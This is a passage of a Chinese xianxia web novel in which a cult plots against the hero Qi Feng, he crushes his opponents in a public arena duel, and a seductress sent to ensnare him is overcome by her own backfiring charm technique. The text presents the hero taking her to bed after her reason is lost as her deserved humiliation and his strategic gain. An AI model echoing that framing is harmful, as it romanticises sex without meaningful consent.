这是一处利用废弃矿坑改造而成的巨大地下空间,阴冷潮湿,墙壁上插着燃烧着幽绿色火焰的火把,将整个空间映照得鬼气森森。
空气中弥漫着浓重的血腥味、药草味和一种令人作呕的腐败气息。
此刻,据点最深处的一座祭坛大殿内,气氛压抑得如同暴风雨前的死寂。
五道身影围坐在一张由白骨拼接而成的巨大圆桌旁,正是幽冥教此次负责府城事务的五位核心护法。
坐在主位的,是一名身形枯瘦、如同骷髅般的老者,脸上带着一张刻画着扭曲哭脸的青铜面具,只露出一双深陷闪烁着惨绿色鬼火的眼眸。
他是“哭丧护法”,地位最高,掌管此次血月祭的整体筹划。
其左侧,是一名身材魁梧、浑身笼罩在黑色重甲中的壮汉,连面部都被头盔遮住,只露出一双猩红的眼睛,散发着暴戾的气息。
他是“黑煞护法”,负责武力与杀戮。
右侧,则是一名穿着艳丽彩衣、脸上涂着厚厚脂粉,却依旧掩不住皱纹的老妪,她手中把玩着一串用人骨磨成的念珠,眼神阴毒。
她是“鬼母护法”,擅长炼制尸傀与各种阴毒诅咒。
再往下,是一名书生打扮、面色苍白的中年文士,手持一柄羽毛扇,嘴角总是挂着一丝虚伪的笑意,但眼底却是一片冰冷。
他是“阴书生护法”,负责谋划与渗透。
最后一位,则是一名身形飘忽不定、仿佛随时会融入阴影中的黑衣人,他脸上没有任何表情,甚至连呼吸都微不可闻。
他是“幽影护法”,也是之前刺杀萧无痕、并在醉月楼操控尸傀失败后逃脱的那个黑影。
“废物!”哭丧护法那如同金属摩擦般刺耳的声音打破了沉默,他枯瘦的手指重重敲在白骨桌面上,发出令人牙酸的“咔咔”声。
“二十一名精心培养的‘血杀卫’,还配备了破罡弩和缚灵网,竟然连齐枫一根汗毛都没伤到,就全军覆没?!甚至连他是如何出手的都没看清?!一群饭桶!”
黑煞护法发出一声低沉的咆哮,重甲摩擦发出刺耳声响:“那齐枫定然是隐藏了实力!绝非普通书生!早该让我亲自出手,一拳将他砸成肉泥!”
鬼母护法阴恻恻地笑道:“黑煞,你去了,结果未必会比那些血杀卫好多少。此子手段诡异,非是寻常武力可以衡量。柳如烟那个废物,连美人计都失败了,还差点暴露。”
阴书生摇着羽扇,慢条斯理地道:“诸位稍安勿躁。齐枫此子,确实是我们计划的最大变数。他不仅智计过人,精通阵法邪术的克制之法,如今看来,武力更是深不可测。硬碰硬,恐非良策。”
幽影护法终于开口,声音如同从九幽深处传来,带着一丝不易察觉的忌惮:“他的身法……很诡异。我与他交过手,虽未尽全力,但他能轻易看破我的隐匿,反应速度远超常人。城郊伏击,他化解所有攻击的手段,更是闻所未闻,像是……言出法随,却又并非道术。”
此言一出,连哭丧护法都沉默了片刻。
言出法随?那是传说中的境界!即便不是,也足以说明齐枫的可怕。
“血月祭在即,圣尊复苏不容有失!”哭丧护法声音森寒,“齐枫必须除掉!否则,他必将成为我们祭祀的最大阻碍!诸位,有何良策?”
黑煞护法吼道:“还能有什么良策?调集所有力量,强攻锦绣阁!我就不信他一个人能挡得住我们千军万马!”
“愚蠢!”鬼母护法斥道,“强攻府城?你是想把朝廷大军和萧无痕那条疯狗彻底引来吗?到时候别说血月祭,我们能不能全身而退都是问题!”
阴书生沉吟道:“硬拼确实不智。或许……我们可以从其他方面入手。比如,利用他身边的人?那个叫南宫玥的商人女,或者那个小丫鬟?听说他与司天监的那个苏晚晴也走得很近……”
“此法或可一试,但需周密安排,确保一击必中,否则打草惊蛇,后患无穷。”幽影护法补充道。
就在几位护法争论不休,苦无良策之时,一阵若有若无、勾魂夺魄的轻笑忽然从大殿阴暗的角落传来。
“呵呵呵……几位护法在此商议大事,怎的如此愁眉苦脸?”
这笑声酥媚入骨,仿佛带着某种奇异的魔力,让在场几位杀人如麻的护法都不由得心神一荡。
众人循声望去,只见阴影中,一道窈窕的身影缓缓浮现。
来人身着一袭近乎透明的赤色纱裙,裙摆摇曳间,勾勒出惊心动魄的妖娆曲线。
她的容颜极美,是一种带着侵略性和邪异魅惑的美,眉如远山含黛,眼似秋水横波,唇瓣饱满如带露玫瑰,肌肤白皙得近乎透明。
她赤着双足,脚踝上系着一串小巧的银铃,行走间却悄无声息,只有那勾魂的轻笑在空气中回荡。
她就像一朵盛开在幽冥地府的曼珠沙华,美丽,却带着致命的诱惑危险。
看到此人,连一向阴沉的哭丧护法都微微坐直了身体,语气中带着一丝罕见的忌惮:“魅影修罗?你不在总坛侍奉教主,来此何事?”
被称为“魅影修罗”的女子,莲步轻移,走到白骨圆桌前,目光扫过众人,最终落在幽影护法身上,唇角微勾。
“听闻府城出了个了不得的人物,连我们幽冥教都屡次在他手上吃亏,连幽影哥哥都失手了?小妹心中好奇,特来看看,究竟是何等人物,能让诸位如此头疼。”
她的声音娇柔婉转,每一个字都仿佛带着小钩子,撩人心弦。
幽影护法冷哼一声,没有接话。
魅影修罗也不在意,自顾自地笑道:“不过是个有点本事的男人罢了。男人嘛……再厉害,终究逃不过‘情’‘欲’二字。”
第三百零四章 色诱
她伸出纤纤玉指,轻轻缠绕着自己一缕垂下的发丝,眼神迷离,“既然硬来不行,软的不成……那就让小妹亲自去会会他好了。看看他是否真如传说中那般……不近女色,铁石心肠。”
鬼母护法皱眉道:“魅影,不可大意!柳如烟的前车之鉴就在眼前!此子心志坚定,非同一般!”
魅影修罗发出一串银铃般的笑声,充满了自信:“鬼母姐姐放心,柳如烟那点粗浅的媚术,也配与我相比?我魅影修罗出手,还没有拿不下的男人。”
她的眼中闪过一丝妖异的光芒,“若能将他迷住,化为我教傀儡,岂不比杀了他更有价值?就算不能,能探清他的虚实底细,也是大功一件。”
哭丧护法沉吟片刻,沙哑道:“魅影修罗愿意出手,自然再好不过。但切记,血月祭在即,一切以大局为重,不可节外生枝。若事不可为,立刻撤回!”
“知道啦,哭丧老鬼,你就放心吧。”魅影修罗娇笑一声,身形如同鬼魅般,再次缓缓融入阴影之中,只留下一缕若有若无的异香和那句充满诱惑与危险的话语在殿中回荡,“齐枫……等着我哦,姐姐来找你玩了……”
待魅影修罗离去后,大殿内重新陷入沉默。
黑煞护法闷声道:“让她去?万一她也失手……”
阴书生摇扇道:“魅影修罗的‘天魅魔功’已臻化境,尤擅操控人心,或许真能创造奇迹。即便不成,以她的能耐,脱身应当无虞。我们正好可以借此观察齐枫的更多手段。”
哭丧护法最终拍板:“就依此计。魅影修罗暗中接触齐枫,我们按原计划准备血月祭。同时,通知袁家那边,让他们在三日后的擂台上,尽量给齐枫制造麻烦,消耗他的精力,分散他的注意!”
“是!”众人齐声应道。
与此同时,锦绣阁内。
齐枫正在书房内,指尖凝聚着一缕微不可察的天劫之力,在虚空中缓缓勾勒着一个复杂的符文。
城郊伏杀,对他而言不过是个小插曲,甚至未能让他动用真正的实力。
他更多的精力,还是放在了对血月祭和自身力量的探索上。
忽然,他心有所感,指尖的符文悄然散去。
他抬起头,望向窗外某个方向,嘴角勾起一抹似笑非笑的弧度。
“有意思……又来了一个。这次的气息,倒是比之前那个……‘有趣’得多。”
他似乎已经感应到了那缕来自远方带着魅惑和危险的异样气息。
风暴将至,而齐枫,依旧稳坐钓鱼台。他倒要看看,这次幽冥教,又能玩出什么新花样。
三日的擂台,看来会比预想中,更加“精彩”了。
三日时间,转瞬即逝。
太白楼前,早已是人山人海,万头攒动。府
城的百姓,乃至周边州县闻讯赶来看热闹的人,将楼前那片偌大的广场围得水泄不通。
酒楼茶肆的二楼雅座更是早被预订一空,价格翻了几番依旧一席难求。
府衙派出了大量衙役兵丁,手持水火棍,奋力维持着秩序,划出了巨大的擂台区域和观众隔离带。
人群中,还能看到一些穿着便服、但眼神锐利、气息沉稳的身影在来回巡视,正是萧无痕派出的锦衣卫暗哨。
赵明德和卢正淳也坐在太白楼二楼一个视野极佳的位置,神情严肃地关注着下方。
擂台很简单,就是用木桩和绳索临时围起来的一片空地。
但此刻,这片空地却承载了全城的目光。
辰时刚过,齐枫便在周子陵、徐远、陈玉堂,南宫玥、柳若雪以及一众锦绣阁伙计的簇拥下,缓步而来。
他今日依旧是一身简单的青色长衫,并未携带任何兵器,面容平静,眼神淡然,仿佛不是来打擂,而是来郊游一般。
他一出现,立刻引发了山呼海啸般的欢呼和议论。
“齐公子来了!”
“好气度!临危不乱,真乃人杰!”
“看他这云淡风轻的样子,肯定是胸有成竹!”
齐枫对着四周拱了拱手,算是打过招呼,便径直走到擂台中央,负手而立,闭目养神。
那份从容镇定感染了许多人,也让一些原本担心他年轻气盛会吃亏的人安下心来。
相比之下,赵元昊和袁惊鸿那边就显得有些狼狈和底气不足了。
他们带着一群家丁豪奴,簇拥着几个奇形怪状、一看就不是善茬的人物,躲在擂台一侧的角落,脸色阴沉,眼神闪烁,时不时焦急地望向街道尽头,似乎在等待着什么重要人物。
“妈的,秦烈那个废物跑了,‘黑风双煞’怎么还没到?”赵元昊低声咒骂着,额角见汗。
他花重金从江湖上请来的“黑风双煞”,据说是横行绿林多年的悍匪,心狠手辣,武功高强,是他们今天最大的依仗之一。
袁惊鸿也紧张地攥着拳头,脸上的疤痕更显狰狞:“再等等……他们收了钱,应该会来的……”
就在这时,一个粗豪的声音在人群中响起:
“俺‘开山掌’刘莽,来会会齐公子!”
只见一个身高九尺、膀大腰圆、满脸横肉的壮汉,推开人群,大步走上擂台。
他双臂肌肉虬结,手掌厚实如同蒲扇,显然外家功夫不俗。
这是本地一个颇有名气的武馆教头,被赵元昊暗中许以重金,派上来试探齐枫虚实的。
刘莽走到齐枫面前三丈处站定,抱拳道:“齐公子,请指教!”
话音未落,他脚下猛地一蹬,地面微震,整个人如同蛮牛般冲向齐枫,右掌带着呼啸的风声,直劈齐枫面门!
正是他的成名绝技“开山掌”,势大力沉,足以开碑裂石!
围观人群发出一阵惊呼,都为齐枫捏了把汗。
齐枫依旧闭着眼睛,仿佛毫无察觉。
直到那掌风即将及体,他才仿佛随意地、轻描淡写地抬起右手,伸出食指,对着那雷霆万钧般劈来的手掌,轻轻一点。
“噗!”
一声轻响,如同戳破了一个气球。
第三百零五章 一起上吧
那气势汹汹的刘莽,前冲之势戛然而止!
他只觉得一股尖锐无比、却又凝练至极的力道,瞬间穿透了他的掌力,点在他的劳宫穴上!
整条右臂瞬间酸麻剧痛,凝聚的内力如同泄了气的皮球般消散!
“啊!”刘莽惨叫一声,抱着右臂连连后退,脸上充满了惊恐和难以置信!
他苦练二十年的开山掌,竟然被人用一根手指就破了?!这怎么可能?!
齐枫缓缓睁开眼,看了他一眼,淡淡道:“下盘不稳,掌力虚浮,回去再练十年吧。”
刘莽面红耳赤,羞愤交加,再也无颜停留,灰溜溜地跳下擂台,钻入人群不见了。
秒杀!
绝对的秒杀!
全场先是一静,随即爆发出震天的喝彩声!
“齐公子威武!”
“一根手指!就一根手指啊!”
“太厉害了!”
赵元昊和袁惊鸿的脸色更加难看。
“废物!”赵元昊低骂一声。
很快,又有一人跳上擂台。
此人身材瘦小,动作灵活,手持一对淬毒的匕首,如同猿猴般绕着齐枫游走,寻找机会偷袭。
他是袁惊鸿找来的一个江湖杀手,擅长暗杀和游斗。
可他的身法在齐枫眼中,慢得如同蜗牛。
齐枫甚至没有移动脚步,只是在那杀手自以为找到破绽,双匕刺向他后心的瞬间,反手随意一拂袖。
“叮当!”两声,那对淬毒匕首如同被巨力击中,瞬间脱手飞出,钉在了远处的木桩上。
而那杀手则如同被高速奔跑的野牛撞到,整个人倒飞出去,摔下擂台,昏死过去。
又是一招秒杀!
接下来,第三个、第四个、第五个……赵元昊和袁惊鸿找来的这些所谓“高手”、“亡命徒”,在齐枫面前,简直如同土鸡瓦狗,不堪一击。
无论是力量型的、速度型的、还是使用奇门兵刃的,没有人能在他手下走过一招!他甚至从头到尾,双脚都没有离开过原地!
每一次轻描淡写的获胜,都引来山呼海啸般的欢呼和喝彩。
齐枫的形象在百姓心中愈发高大,如同战神一般。
而赵元昊和袁惊鸿,则脸色惨白,冷汗直流,他们找来的那些人,连消耗齐枫体力都做不到!
“黑风双煞呢?!他们死到哪里去了?!”赵元昊气急败坏地吼道。
就在这时,人群外传来一阵骚动,只见两名穿着黑衣、面容凶悍、太阳穴高高鼓起的汉子,推开人群,大步走来。
他们身上带着浓烈的煞气,眼神凶狠,正是赵元昊苦等已久的“黑风双煞”!
赵元昊和袁惊鸿顿时如同抓住了救命稻草,连忙迎了上去:“两位好汉,你们可算来了!快!快上台,收拾了那小子!”
黑风双煞中的老大,瞥了一眼擂台中央负手而立的齐枫,眼中闪过一丝不屑,对赵元昊道:“赵公子,对付这么个小白脸,何须我兄弟二人同时出手?看我一人足矣!”
说完,他纵身一跃,如同大鸟般落在擂台上,对着齐枫狞笑道:“小子,你……”
他话还没说完,齐枫却忽然打断了他,目光平静地看向擂台下的黑风双煞老二,以及更远处人群中的几个方向,淡淡开口:
“别浪费时间了。”
“你们几个,还有那边藏着的三个,一起上吧。”
齐枫那平淡却石破天惊的话语,如同在滚沸的油锅里泼进了一瓢冷水,瞬间让整个太白楼前炸开了锅!
“一……一起上?!”
“齐公子说什么?他要一个打剩下的所有?!”
“我的天!这也太狂了吧!不过……我好喜欢!”
“黑风双煞可不是前面那些杂鱼能比的!还有其他人?”
人群彻底沸腾了,惊呼声、议论声、叫好声混杂在一起,声浪几乎要掀翻屋顶。
所有人都伸长脖子,寻找着齐枫口中“藏着的三个”。
赵元昊和袁惊鸿先是一愣,随即狂喜!
他们没想到齐枫竟然如此托大,自己找死!黑风双煞老大更是气得脸色铁青,感觉受到了莫大的侮辱!
“狂妄小儿!受死!”黑风双煞老大怒吼一声,不再废话,身形如电,双掌齐出,掌风凌厉如刀,带着一股腥风,直取齐枫胸膛!
这是他成名绝技“黑煞掌”,掌力阴毒,中者经脉尽断!
与此同时,被点破行藏,擂台下的黑风双煞老二,以及人群中三个原本打算伺机而动、穿着普通百姓衣服,但眼神精悍、气息内敛的汉子,也不再隐藏,同时暴起发难!
黑风双煞老二如同鬼魅般绕到齐枫身后,手中多了一对乌黑的判官笔,直点齐枫后脑和背心大穴!
那三个汉子则分别从左右和侧前方扑来,一人使刀,刀光如匹练。
一人用链子镖,毒蛇般缠向齐枫双脚,最后一人则双手连扬,洒出一片闪烁着蓝芒的细如牛毛的毒针!
五人!
五大高手!
从不同方向,不同角度,同时发动了最凌厉的攻击!掌风、笔影、刀光、镖链、毒针……瞬间将齐枫所有闪避的空间彻底封死!
这联手一击,威力远超之前任何一人,就算是江湖上成名已久的一流高手,恐怕也要饮恨当场!
“齐郎!”
“少爷!”
南宫玥和混在人群中的小荷吓得失声惊呼,脸色煞白。
就连坐在太白楼二楼的赵明德和卢正淳也猛地站起身,面露骇然。
萧无痕派出的锦衣卫暗哨更是肌肉紧绷,几乎要忍不住出手干预!
可身处风暴中心的齐枫,面对这必杀之局,依旧是一片云淡风轻。
他甚至还有闲暇,目光极其迅速地扫过太白楼二楼某个窗口。
那里,苏晚晴不知何时也来了,正凭窗而立,清冷的眼眸中带着一丝凝重,而在锦绣阁方向的某处屋顶阴影下,楚清秋也悄然独立,虽然隔着距离,但紧握的拳头显示着她内心的不平静。
这一切说来话长,实则都发生在瞬息之间。
眼看五人的攻击就要将齐枫淹没。
就在这千钧一发之际,齐枫动了。
第三百零六章 太弱了
他的动作,依旧看起来不快,甚至带着一种独特的韵律感。
他没有闪避,没有格挡,而是缓缓地,向前踏出了一步。
就这一步!
仿佛蕴含着某种天地至理,玄奥难言。
随着他这一步踏出,以他为中心,一股无形无质、却磅礴浩瀚的气场骤然扩散开来!
那凌厉如刀的“黑煞掌”掌风,撞上这气场,如同泥牛入海,瞬间消散于无形!
那狠辣刁钻的判官笔,在距离齐枫身体尚有半尺时,便如同刺入了粘稠的钢水,再也无法前进分毫!
那匹练般的刀光,仿佛砍在了一座无形的大山上,火星四溅,却连齐枫的衣角都没碰到!
那毒蛇般的链子镖,更是如同被无形的力量禁锢,软软地垂落在地!
那片密集的毒针,则是在靠近齐枫周身三尺之外,便如同遇到了克星,纷纷失去力道,叮叮当掉落一地!
五人联手,石破天惊的必杀一击,竟然被齐枫这看似随意的一步,轻描淡写地全部化解于无形!
“什么?!”
“这不可能!”
黑风双煞等人瞳孔骤缩,脸上充满了极致的惊骇和难以置信!
他们感觉自己的攻击仿佛打在了空处,又像是撞上了一堵无法逾越的天堑!这种力量,已经完全超出了他们的理解范畴!
“力道散而不凝,招式华而不实。”齐枫淡淡开口,如同师长点评弟子,“破绽百出。”
话音未落,他再次动了。
这一次,不再是防御。
他并指如剑,随意地向前一点。
“噗!”黑风双煞老大如遭重击,胸口猛地塌陷下去,喷血倒飞,直接摔下擂台,生死不知。
他反手一拂。
“咔嚓!”黑风双煞老二手中的判官笔寸寸断裂,整个人如同被高速行驶的马车撞到,筋断骨折地滚下擂台。
他左脚看似随意地在地面一跺。
一股无形的震荡波传递出去,那名使刀的汉子和用链子镖的汉子,只觉得脚下地面传来一股无可抵御的巨力,双腿瞬间骨折,惨叫着跪倒在地。
最后,他目光扫向那名使用毒针的汉子。
那汉子与他目光一接触,只觉得如同被洪荒猛兽盯上,无边的恐惧瞬间淹没了理智,怪叫一声,竟然丢下所有暗器,连滚爬爬地逃下了擂台,钻入人群消失不见。
兔起鹘落,不过眨眼之间!
五大高手,溃败!
依旧是一招未出,仅仅是踏步、点指、拂袖、跺脚、目视……便让五名在江湖上也算好手的强者,或死或伤或逃,彻底失去了战斗力!
全场死寂!
落针可闻!
所有人都像是被施了定身法一般,目瞪口呆地看着擂台上那个依旧负手而立、青衫不染尘的年轻身影。
这……这已经不是武功了!这简直是仙法!是神迹!
短暂的死寂之后,是更加狂热、几乎要冲破云霄的欢呼和呐喊!
“齐公子!齐公子!齐公子!”
无数人激动得面红耳赤,疯狂地呼喊着齐枫的名字,声浪一波高过一波!
赵元昊和袁惊鸿彻底瘫软在地,面无人色,眼神空洞,仿佛失去了灵魂。
他们所有的依仗,所有的算计,在齐枫这绝对的实力面前,都显得如此可笑和不堪一击!
他们甚至兴不起丝毫反抗的念头,只剩下无边的恐惧和绝望。
太白楼二楼,赵明德和卢正淳相视一眼,都从对方眼中看到了无比的震撼和庆幸。
苏晚晴清冷的眼眸中,异彩连连,看向齐枫的目光,充满了探究和一丝难以言喻的欣赏。
而远处屋顶的楚清秋,紧握的拳头缓缓松开,轻轻松了口气,虽然脸上依旧没什么表情,但眼底深处,却掠过一丝连她自己都未察觉的柔和。
齐枫站在擂台上,承受着万民敬仰的目光,神色却依旧平静。
他目光扫过面如死灰的赵元昊和袁惊鸿,淡淡开口,声音清晰地传遍全场:
“还有谁?”
简单的三个字,却带着无与伦比的霸气与自信!
全场再次安静下来,所有人的目光都聚焦在赵、袁二人身上。
赵元昊和袁惊鸿浑身一颤,嘴唇哆嗦着,却连一个音节都发不出来。
他们哪里还敢再派人上去?那跟送死有什么区别?
“看来,是没人了。”齐枫微微摇头,似乎有些失望,“既然如此,那今日擂台,便到此为止。”
他顿了顿,目光变得锐利起来,扫视全场,声音陡然提高,带着一股凛然正气:“今日设擂,非为私怨,实为扬清抑浊,震慑宵小!望诸位以此为鉴,莫要再行那等蝇营狗苟、仗势欺人之事!府城,自有法度!正义,永不缺席!”
这番话,掷地有声,如同洪钟大吕,敲击在每个人的心上!
“府城自有法度!正义永不缺席!”
不知是谁先喊了一声,紧接着,成千上万的百姓跟着齐声呐喊,声震四野,气势磅礴!
赵元昊和袁惊鸿在这浩大的声浪中,如同两只被吓破胆的老鼠,蜷缩在地上,瑟瑟发抖,丑态毕露。
齐枫不再多看他们一眼,转身,在周子陵、徐远陈玉堂等人激动崇拜的簇拥下,以及全场百姓狂热的目光注视中,从容地走下擂台。
这一战,齐枫以绝对碾压的姿态,横扫所有对手,不仅彻底奠定了他在府城无人可以撼动的威望,更是将赵元昊、袁惊鸿及其背后势力的脸面,踩在脚下,碾得粉碎!
太白楼擂台的余波,在府城持续发酵。
齐枫之名,如日中天,威望达到了前所未有的顶峰。
赵元昊和袁惊鸿经此一役,彻底沦为了全城笑柄,据说连门都不敢出,整日躲在府中,惶惶不可终日。
锦绣阁更是门庭若市,前来道贺、攀交、甚至是单纯想一睹齐枫风采的人络绎不绝。
齐枫对此依旧淡然处之,大部分事务都交由南宫玥和柳若雪处理,自己则深居简出,似乎在为更重要的事情做准备。
夜色渐深,喧嚣了一日的府城渐渐沉寂下来。
锦绣阁后院,齐枫的书房内依旧亮着灯。
第三百零七章 失身
齐枫并未入睡,而是在灯下翻阅着一卷关于上古星象的残篇,指尖偶尔在书页上划过,留下淡淡的金色痕迹,似乎在推演着什么。
窗外,月明星稀,秋风带着一丝凉意。
忽然,一阵极其细微、若有若无的异香,随着夜风悄然潜入书房。
这香气不同于寻常花香,带着一种甜腻入骨的媚意,仿佛能直接撩拨人心底最原始的欲望。
齐枫翻书的动作微微一顿,眼底闪过一丝不易察觉的冷嘲。
鱼儿,终于忍不住要上钩了么?
他并未做出任何反应,甚至连呼吸的频率都没有改变,依旧专注地看着书卷,仿佛浑然未觉。
那异香越来越浓,如同无形的丝线,缠绕在书房之内。紧接着,一道窈窕曼妙的身影,如同暗夜中盛放的妖花,悄无声息地出现在书房门口。
正是魅影修罗。
她今夜换了一身近乎透明的薄纱红裙,裙摆曳地,勾勒出惊心动魄的曲线。乌黑的长发随意披散,衬得肌肤愈发白皙胜雪。
她赤着双足,纤巧的脚踝上银铃无声,莲步轻移间,带着一种勾魂摄魄的魔力。
她的眼波流转,如同春水荡漾,红唇微启,未语先笑,那笑容足以让任何男人心神失守。
“齐公子~”她的声音酥媚入骨,带着一丝慵懒和挑逗,“长夜漫漫,独自看书,岂不寂寞?让奴家来陪陪你,可好?”
她一边说着,一边缓缓走向齐枫,眼神迷离,吐气如兰,周身散发出的魅惑之力如同潮水般向齐枫涌去。
这是她的“天魅魔功”运转到极致的表现,足以在不知不觉中瓦解任何男人的心防,让其沦为欲望的奴隶。
面对这足以让圣贤堕落的极致诱惑,齐枫却连眼皮都没有抬一下。
他只是淡淡地翻过一页书,语气平静无波:“收起你这套把戏。若无事,请回。”
魅影修罗脸上的笑容微微一僵。
她对自己的魅力向来极度自信,从未失手。
齐枫的反应,完全出乎她的意料。
这男人,心志竟如此坚定?
但她并不气馁,反而觉得更有挑战性。
她不相信这世上有男人能真正抵挡她的天魅魔功!
“公子何必如此拒人于千里之外呢?”魅影修罗娇笑一声,非但没有后退,反而靠得更近,几乎要贴到齐枫身上,玉手更是大胆地向他肩膀抚去,“奴家是真心仰慕公子风采,只想与公子……共度良宵……”
在她玉手即将触碰到齐枫的瞬间,她暗中将天魅魔功催动到了极致!
一股更加浓郁、几乎化为实质的粉红色魅惑之气,如同情丝般缠绕向齐枫,试图直接侵入他的心神!
这是她压箱底的手段,一旦中招,对方将会彻底沉沦于欲望幻境,任由她摆布!
可就在那粉红魅惑之气触及齐枫身体的刹那!
异变陡生!
齐枫体内,那一直沉寂至阳至刚、蕴含着天地法则的天劫之力,仿佛受到了某种污秽之物的挑衅,自主地轰然爆发!
没有惊天动地的声势,只有一股纯净、浩大、凛然不可侵犯的无形气场,以齐枫为中心,骤然扩散!
“嗡!”
那浓郁粘稠的粉红色魅惑之气,在接触到天劫之力的瞬间,如同冰雪遇到了烈阳,发出了细微却尖锐的哀鸣,以肉眼可见的速度迅速消融、蒸发!
“什么?!”魅影修罗脸色骤变,美眸中充满了极致的惊骇!她感觉自己的天魅魔功,在那股天劫之力面前,竟然如此不堪一击!
甚至……她感觉到自己散发出的魅惑之力,仿佛被一股更强大的力量反向侵蚀、搅动!
“噗!”
她猛地喷出一口鲜血,那是功法被强行反噬的征兆!
更让她恐惧的是,她发现自己体内原本运转自如的天魅魔功内力,此刻竟然变得狂暴而混乱,仿佛脱缰的野马,不受控制地在她经脉中疯狂冲撞!
一股前所未有炽烈如火的欲望,从她心底最深处猛地窜起,瞬间淹没了她的理智!
这欲望并非由外而内,而是由内而外,是她自身功法失控、走火入魔的征兆!
“不……不可能……怎么会……”魅影修罗眼神瞬间变得迷离而狂乱,脸颊泛起不正常的潮红,呼吸也变得急促起来。
她看着近在咫尺、周身散发着纯净阳刚气息的齐枫,那原本是她要征服的目标,此刻却仿佛成了她失控欲望的唯一解药!
她想要控制,想要逃离,但身体却不受控制地向前倾倒,柔软的身躯几乎要嵌入齐枫怀中,口中发出无意识带着痛苦与渴望的呻吟。
齐枫直到此时,才终于放下了手中的书卷。
他低头看着怀中意乱情迷、已然失去控制的魅影修罗,眼神依旧平静,甚至带着一丝怜悯和冷漠。
“玩火者,必自!焚。”他淡淡地说了一句。
魅影修罗的理智彻底被欲望吞噬,她如同八爪鱼般缠绕上来,滚烫的唇瓣胡乱地印在齐枫的脖颈、脸颊上,带着一种绝望而疯狂的索取。
齐枫微微蹙眉。
他本可轻易将她震开,甚至以其人之道还治其人之身,让她在欲望中彻底毁灭。
但看着怀中这具已然失控沦为自身功法反噬牺牲品的美丽躯壳,他心中忽然改变了主意。
或许……留下她,比杀了她,更有价值。
他伸出手,并未推开她,而是并指如剑,快速在她身上几处关键穴道点过,暂时封住了她部分狂暴的内力,却也微妙地引导了那股失控欲望的流向。
魅影修罗身体猛地一颤,发出一声更加高亢而迷乱的呜咽,整个人如同被抽走了骨头般,彻底软倒在他怀里。
齐枫将她打横抱起,走向书房内间的休息室。
夜色深沉,书房内的灯火不知何时已然熄灭。
只有清冷的月光透过窗棂,隐约勾勒出室内模糊的轮廓,以及那压抑交织着痛苦与极致欢愉的细微声响,最终归于一片暧昧的寂静。
这一夜,对于意图不轨的魅影修罗而言,是功法反噬、彻底失控的一夜,是搬起石头砸了自己脚的一夜。
第三百零八章 心绪难平
魅影修罗本想着来操控他人,最终却沦为了自身欲望的俘虏,在浑浑噩噩中,与原本要对付的目标,发生了她绝对意想不到深入骨髓的纠缠。
而对于齐枫而言,这一夜,不过是化解了一场微不足道的危机,并且,或许意外地收获了一个未来可能有用的“棋子”。
当黎明前的第一缕微光透过窗纱时,书房内间,魅影修罗从极度的疲惫和混乱中幽幽转醒。
她感受着身体的酸痛与脑海中那些破碎而羞耻的记忆片段,先是茫然,随即是无边的惊恐、羞愤和难以置信!
她……她竟然……
她猛地坐起身,看向身旁依旧沉睡的齐枫,眼神复杂到了极点,有恨,有惧,还有一种连她自己都无法理解如同烙印般深植于身体的奇异悸动。
她咬了咬牙,用尽最后一丝力气,抓起散落在地上的衣物,如同受惊的兔子般,仓惶无比地逃离了这个让她失去掌控、尊严扫地的房间,消失在渐亮的晨光中。
齐枫在她离开后,缓缓睁开了眼睛,眼神清明,毫无睡意。
他坐起身,感受着空气中尚未完全散尽属于那个女人的甜腻香气,嘴角勾起一抹深邃难明的弧度。
幽冥教……这份“大礼”,他收下了。
只是不知道,那位魅影修罗回去之后,该如何向她的同僚们,解释这失败的一夜呢?
天色微明,薄雾未散。
一道狼狈不堪、几乎是连滚爬爬的赤红身影,如同惊弓之鸟,仓惶地窜入幽冥教那阴冷潮湿的地下据点。
正是昨夜在齐枫书房经历了滑铁卢的魅影修罗。
她身上的薄纱红裙皱巴巴的,沾满了尘土和露水,原本精心打理的发髻散乱不堪,几缕发丝黏在汗湿的额角和脸颊上。
最引人注目的是她那双总是流转着媚意的眼眸,此刻却布满了血丝,眼神涣散,充满了惊魂未定、羞愤难当以及一丝连她自己都不愿承认源自身体本能的迷离余韵。
她几乎是凭着本能,跌跌撞撞地冲回自己那间布置得同样妖异、充斥着靡靡之香的石室,“砰”地一声重重关上石门,背靠着冰冷的石门滑坐在地,剧烈地喘息着。
脑海中,不受控制地反复闪现昨夜那些破碎而羞耻的画面。
自己如同最**的女人般主动投怀送抱,在那纯净而可怕的天劫之力冲击下**的瞬间反噬,那失去理智的疯狂索求,以及最后那具强健身躯带来让她灵魂都在颤栗的极致体验与彻底的失控……
“啊——!”她猛地抱住头,发出一声压抑而痛苦的尖叫,指甲深深掐入头皮,试图用疼痛驱散那些让她无地自容的记忆。
失败了!
她竟然失败了!
而且是以这样一种**到极致的方式失败!
她引以为傲、无往不利的天魅魔功,在齐枫面前竟然不堪一击,甚至遭到了恐怖的反噬!
她非但没能控制住对方,反而被自身的欲望吞噬,沦为了对方的玩物!这简直是她魅影修罗一生中最大的耻辱!
“齐枫……齐枫!”她咬牙切齿地念着这个名字,眼中充满了刻骨的怨恨和杀意,但在这怨恨深处,却夹杂着一丝连她自己都未曾察觉的恐惧。
那个男人,太可怕了!他不仅实力深不可测,心志坚如磐石,体内那股至阳至刚的力量更是她天魅魔功的绝对克星!
就在她心绪翻腾、羞愤欲死之际,石室外传来了阴书生那令人讨厌慢条斯理的声音:
“魅影**,听闻你昨夜独自行动,前往锦绣阁了?结果如何?可曾探得那齐枫的虚实?”
魅影修罗浑身一僵,猛地抬起头,眼中闪过一丝慌乱。
她强压下心中的惊涛骇浪,迅速整理了一下散乱的头发和衣物,努力让自己的声音恢复平时的娇媚,却依旧带着一丝难以掩饰的沙哑和虚弱:
“进……进来吧。”
石门无声滑开,阴书生摇着羽扇走了进来,他那双总是带着虚伪笑意的眼
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睛,锐利地扫过魅影修罗狼狈的模样,尤其是在她脖颈处那若隐若现的暧昧红痕上停留了一瞬,嘴角的笑意更深了,带着一丝了然和讥讽。
“看来……魅影**昨夜,经历颇丰啊?”阴书生语带双关,慢悠悠地说道。
魅影修罗脸色瞬间变得煞白,又迅速涨红,她猛地站起身,色厉内荏地喝道:“阴书生!你什么意思?!”
“没什么意思。”阴书生用羽扇掩住半张脸,只露出一双精光闪烁的眼睛,“只是关心一下魅影**的任务进展而已。看**这般模样,想必是……未能得手?反而……吃了点小亏?”
“你!”魅影修罗气得浑身发抖,却又无法反驳。
她昨夜的模样,只要不是瞎子,都能看出不对劲。
“那齐枫……究竟有何特殊之处?竟能让魅影**的天魅魔功都失手?”阴书生追问道,这才是他关心的重点。
